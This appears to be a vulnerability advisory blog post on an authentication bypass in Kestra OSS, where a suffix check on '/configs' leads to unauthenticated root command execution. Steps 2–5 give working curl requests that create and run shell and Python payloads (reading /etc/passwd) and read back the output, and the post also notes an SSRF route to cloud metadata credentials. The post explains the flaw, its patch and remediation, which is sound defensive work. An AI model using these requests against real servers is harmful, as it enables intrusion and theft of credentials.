Overview
| Item | Detail |
|---|---|
| CVE ID | CVE-2026-49869 |
| Affected product | Kestra OSS (open-source workflow orchestration platform) |
| Affected versions | Below 1.0.45, and 1.1.0 up to (not including) 1.3.21 |
| Fixed in | 1.0.45, 1.3.21 |
| CVSS 3.1 | 10.0 (Critical) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| Type | CWE-287 (Improper Authentication), CWE-184 (Incomplete List of Disallowed Inputs), CWE-78 (OS Command Injection), CWE-918 (SSRF) |
| Authentication required | None |
| Reported by | Vasco0x4, via Kestra's GitHub bug bounty |
| Note | Added to the CISA KEV catalog (Sep 2, 2026); exploited in the wild, including cryptominer deployments |
Kestra is an open-source platform for defining, scheduling, and running workflows. It needs exactly one endpoint reachable before login exists: a public configuration endpoint that the setup screen reads to know how login and feature flags are configured. The single conditional written to carve out that one exception turned into a hole that disabled authentication across the entire platform.
The cause is simple. Where the code needed to ask "is this the config endpoint?", it instead asked "does this path end in the string configs?" Those two questions happen to agree on the one path they were meant to cover — and disagree on every other path that shares the same ending. Because Kestra's REST API embeds attacker-controlled values, like a flow's name, directly into the path, that gap was trivial to walk through.
The practical result: name any flow configs, and every API that creates, runs, or deletes that flow skips authentication entirely. Kestra also ships with shell, Python, and Node script-execution plugins enabled by default, and those scripts run inside the worker container as root. One broken authentication check becomes unauthenticated remote code execution (RCE).
Where the flaw lives — AuthenticationFilter
Kestra OSS defaults to Basic Auth, and every API request passes through a single filter, AuthenticationFilter. For each incoming request, it first decides whether that path is allowed through without authentication. Since the setup screen needs to read the server's base configuration (auth mode, feature flags) before any login has happened, the configuration-read endpoints (GET /api/v1/configs, GET /api/v1/{tenant}/configs) had to be the one exception.
The line that broke it:
// webserver/src/main/java/io/kestra/webserver/filter/AuthenticationFilter.java:49
boolean isConfigEndpoint = request.getPath().endsWith("/configs")
|| ...;
if (isConfigEndpoint || isOpenUrl || isManagementEndpoint(request) || mcpAuthHandled) {
return chain.proceed(request); // auth skipped entirely
}
Step-by-step source analysis
Step 1 — "does it end in this string?" instead of "is this the exact path?"
endsWith("/configs") answers "does the tail of this request path match the string /configs?" What the code actually needed to answer was "is this request the public config endpoint?" Those are different questions.
"/api/v1/main/configs".endsWith("/configs")
// → true : the intended path. No problem here.
"/api/v1/main/flows/tutorial/configs".endsWith("/configs")
// → true : a flow simply named "configs" passes the exact same check.
Kestra's REST API identifies resources by a caller-supplied name — /flows/{namespace}/{flowId}, for instance. Set flowId to configs, and nearly every path related to that flow now ends in /configs. endsWith() has no way to tell a config-read request apart from a flow-management request; it waves both through identically.
The list of routes this flaw could bypass turned out to be long:
| Controller | Bypassed pattern | Impact |
|---|---|---|
| FlowController | PUT /api/v1/{tenant}/flows/{namespace}/configs |
Create/overwrite a flow |
| ExecutionController | POST /api/v1/{tenant}/executions/{namespace}/configs |
Run a flow |
| KVController | PUT /api/v1/{tenant}/namespaces/{namespace}/kv/configs |
Write to the key-value store |
| FlowController | DELETE /api/v1/{tenant}/flows/{namespace}/configs |
Delete flows |
| DashboardController | DELETE /api/v1/{tenant}/dashboards/configs |
Delete dashboards |
| LogController | DELETE /api/v1/{tenant}/logs/{namespace}/configs |
Destroy audit logs |
The combination of FlowController and ExecutionController is what drives the chain all the way to RCE.
Step 2 — create a flow carrying a shell command, unauthenticated
A single PUT request, with no credentials attached, creates a flow named configs. Set its task type to io.kestra.plugin.scripts.shell.Commands, and it runs a list of shell commands whenever it executes.
curl -X PUT \
-H "Content-Type: application/x-yaml" \
"http://<target>/api/v1/main/flows/tutorial/configs" \
--data-binary '
id: configs
namespace: tutorial
tasks:
- id: rce
type: io.kestra.plugin.scripts.shell.Commands
commands:
- id
- hostname
- cat /etc/passwd'
# → HTTP 200 OK (created with no credentials at all)
Because the request path /api/v1/main/flows/tutorial/configs ends in /configs, AuthenticationFilter treats it exactly like the config-read endpoint and lets it straight through.
Step 3 — run that flow, unauthenticated
Creating the flow alone doesn't execute anything yet. The second request, which triggers execution, hits a path with the same ending, so it bypasses auth the same way.
curl -X POST "http://<target>/api/v1/main/executions/tutorial/configs"
# → {"id":"4eeB6vY7FT3mSj5FGYRrXW", "state":{"current":"RUNNING"}, ...}
Step 4 — the worker executes the plugin as root, completing the RCE
At this point, a Kestra worker picks up the execution and runs the shell.Commands task for real. Kestra installs over 80 script-execution plugins by default — shell, Python, Node, PowerShell, Go, and more — and the worker process runs inside its container as uid=0(root) out of the box. A flow created through the auth bypass needs only one task — "run this shell command" — and that command executes with root privileges.
[INFO] uid=0(root) gid=0(root) groups=0(root)
[INFO] root:x:0:0:root:/root:/bin/bash
[INFO] daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
[DEBUG] Command succeed with exit code 0
The same works with the Python plugin:
curl -X PUT \
-H "Content-Type: application/x-yaml" \
"http://<target>/api/v1/main/flows/tutorial/configs" \
--data-binary '
id: configs
namespace: tutorial
tasks:
- id: rce_python
type: io.kestra.plugin.scripts.python.Script
script: |
import os
print(os.popen("id && hostname").read())'
Step 5 — retrieve the output from the logs, unauthenticated
Finally, the execution's output (the command's stdout) is readable through the log search API — and that path also ends in a pattern matching /configs, so it's viewable with no credentials either.
curl "http://<target>/api/v1/main/logs/search?executionId=4eeB6vY7FT3mSj5FGYRrXW"
Create, execute, retrieve — three HTTP requests, none of them carrying an auth token or session cookie. An attacker never touches a login screen, yet runs arbitrary commands on the server and reads the output back directly.
A secondary surface — SSRF via the Pebble template engine
This auth bypass also combines with a second flaw. Kestra's workflow template engine (Pebble) exposes an http() function that performs no validation on the URI it's given.
// core/src/main/java/io/kestra/core/runners/pebble/functions/HttpFunction.java
// no allowlist, no private-IP filtering
URI uri = URI.create(args.get("uri").toString());
The researcher confirmed this lets a worker container reach a cloud metadata endpoint (http://169.254.169.254/). On AWS, GCP, or Azure, that endpoint can leak the IAM credentials attached to the instance. The RCE alone is already severe, but this SSRF path is worth checking separately during incident response — it's the kind of exposure that a command-execution-only investigation can miss.
The patch — exact path matching instead of a suffix check
Kestra 1.0.45 and 1.3.21 replaced the endsWith()-based comparison with an exact path match. Authentication is now skipped only when the request path is precisely the real config-read path (/api/v1/configs, /api/v1/{tenant}/configs), so naming a flow configs no longer exempts any path from authentication.
The lesson here is a simple one. Any whitelist of auth-exempt paths needs an exact path match, not a suffix or substring check — and that's especially true in a REST API where caller-supplied values become part of the path itself. It's worth auditing authentication logic anywhere for an endsWith() or contains() call that was meant to recognize one specific route.
Remediation
- Update immediately: 1.0.45 for the 1.0.x branch, 1.3.21 for 1.1.x through 1.3.x.
- Restart the worker containers, not just the webserver process. Privileged command execution happens in the worker, so an updated image with an old worker process still running continues to serve the vulnerable code path.
- A reverse proxy in front of Kestra doesn't mitigate this — the broken comparison runs inside Kestra's own filter chain, after the proxy has already forwarded the request. If patching isn't immediately possible, a proxy rule that allows only the exact
/api/v1/configspath can serve as a narrow stopgap, but it's not a substitute for the real fix. - Treat the exposure window as a possible incident, not a closed ticket. Rotate any secrets, service credentials, and cloud IAM roles the worker could reach, and check flow and execution history for an unrecognized flow or execution named
configs.


Top comments (0)